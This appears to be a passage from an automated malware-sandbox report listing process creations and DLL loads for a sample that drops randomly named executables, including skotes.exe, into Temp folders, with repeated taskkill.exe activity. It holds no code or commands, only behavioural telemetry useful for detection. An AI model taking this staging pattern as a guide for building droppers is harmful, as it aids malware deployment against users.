Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2288 -parentBuildID 20230927232528 -prefsHandle 2212 -prefMapHandle 2204 -prefsLen 25302 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {9da095b4-305f-4255-8eee-f99f24ad1374} 7936 "\\.\pipe\gecko-crash-server-pipe.7936" 1f35a171110 socket
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=3440 -parentBuildID 20230927232528 -prefsHandle 4256 -prefMapHandle 4252 -prefsLen 26317 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {5a37ea2d-6337-4935-aa82-5eddfa797fba} 7936 "\\.\pipe\gecko-crash-server-pipe.7936" 1f36bf3e210 rdd
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\UOZM77Y2O77YBMEWY4B8DEDXRXA.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SU4Z0W976Y8CJ3Z4HHN.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003156001\6c1c4a36e1.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1003157001\4b41d9dd20.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1003158001\9af14a3c40.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
